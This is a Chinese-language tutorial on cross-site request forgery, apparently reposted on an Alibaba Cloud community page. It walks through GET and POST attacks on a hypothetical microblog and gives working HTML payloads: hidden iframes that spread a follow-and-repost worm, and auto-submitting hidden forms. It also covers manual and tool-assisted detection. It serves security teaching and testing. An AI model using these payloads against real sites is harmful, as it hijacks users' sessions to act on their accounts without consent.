WEB安全--CSRF剖析

來源:互聯網
上載者:User

標籤:協助   自己   type   抓包   建立   攻擊   for   原理   blank   

CSRF攻擊:攻擊者構造合法的HTTP請求,隨後利用使用者的身份操作使用者帳戶的一種攻擊方式。


一、CSRF攻擊原理
CSRF的攻擊建立在瀏覽器與Web伺服器的會話中;欺騙使用者訪問URL。

二、CSRF攻擊情境(GET)
例:
http://www.example.com是全球最大的微博平台,一次偶然的情況,駭客TOM對微博的收聽功能做了抓包

GET /listen?uid=218805&listenid=100 HTTP/1.1  Host: www.example.com 

TOM分析uid代表自己,listenid代表被收聽使用者。
隨後設想可以直接構造一個URL:http://www.example.com/listen?uid=218805&listenid=228820
但是別人的ID是TOM無法得知的,因此嘗試直接構造URL:http://www.example.com/listen?listenid=228820,實驗成功,就算無uid,訪問此URL也可以成功收聽228820號使用者。
於是TOM準備在微博平台製造一個蠕蟲攻擊,TOM在微博平台發表了有誘惑性的微博:誘導使用者單擊這個URL連結。
進一步,TOM心想讓每個使用者都協助自己發站內信,或者是轉寄微博,因此再一次攔截資料包:

GET /publish?id=928978 HTTP/1.1  Host: www.example.com  

 

因此說只要使用者訪問http://www.example.com/publish?id=928978,就可以自動轉寄這條微博。
新的問題:如何讓使用者單擊一個URL就同時訪問這兩個URL?
TOM構造了一個單獨的HTML頁面open.html

<html>      <head>          <title>              逗你玩的。。。          </title>      </head>      <body>          你上當了,這不過是個玩笑。<a href="http://www.example.com">單擊我返回</a>          <iframe src="http://www.example.com/listen?listenid=228820" frameborder="0" width="0px"/>          <iframe src="http://www.example.com/publish.php?id=928978" frameborder="0" width="0px"/>      </body>  </html>  

 

當使用者A單擊open.html後,就會自動收聽TOM使用者,並且把這篇文章轉寄到自己的微博中,A的好友B看到後可能也會點擊,這樣就陷入了迴圈。

三、CSRF攻擊情境(POST)
使用POST方法,一樣存在CSRF攻擊的可能,只不過增加了攻擊的難度。
例:
POST /publish HTTP/1.1  Host:www.example.com    listenid=228820  


攻擊者可以構造類似如下的頁面,post.html

<html>      <head>          <title>              post data          </title>      </head>      <body>          <form id="myform" method="post" action="http://www.example.com/publish">              <input type="hidden" name="listenid" value="228820">          </form>          <script>              var myform = document.getElementById("myform");              myform.submit();          </script>      </body>  </html>  

 

在post.html中構造一個form表單,然後利用JavaScript自動認可表單。

 

四、CSRF的檢測

檢測CSRF攻擊主要分為兩種:手工檢測和半自動檢測。全自動CSRF工具的誤判率較大,不予考慮。

4.1 手工檢測
在檢測CSRF漏洞時,首先需要確定的一點是:CSRF只能通過使用者的正規操作進行攻擊,實際上就是劫持使用者操作。所以,在檢測前首先需要確定Web應用程式的所有功能,以及確定哪些操作是敏感的,比如修改密碼、轉賬、發表留言等功能。
確定了敏感性操作後,使用這項“功能”攔截HTTP請求,比如,刪除使用者操作URL為:http://www.example.com/delUser.action?id=1
編寫CSRF POC為:

<html>      <body>          <form name="myform" action="delUser.action" method="GET">              <input type="hidden" name="id" value="5"/>          </form>          <script>              var myform = document.getElementById("myform");              myform.submit();          </script>      </body>  </html>  

CSRF漏洞也可以理解為:伺服器到底有沒有執行POC的請求,如果已執行,則代表存在CSRF漏洞。

4.2 半自動檢測
使用工具CSRFTester,能夠記錄請求的每個URL,並且自動產生 CSRF POC。

WEB安全--CSRF剖析

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.